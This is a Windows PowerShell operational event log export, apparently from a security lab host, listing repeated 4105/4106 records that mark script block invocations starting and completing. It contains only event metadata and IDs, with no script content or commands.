SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036997
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036996
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036995
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036994
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036993
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036992
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036991
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036990
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036989
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036988
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036987
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036986
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036985
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036984
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036983
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036982
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036981
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036980
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036979
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036978
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036977
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036976
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036975
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036974
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036973
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036972
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036971
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036970
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036969
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036968
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036967
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036966
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036965
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036964
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036963
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036962
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036961
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036960
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036959
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036958
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036957
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036956
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036955
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036954
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036953
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036952
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036951
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036950
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036949
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036948
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036947
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036946
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036945
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
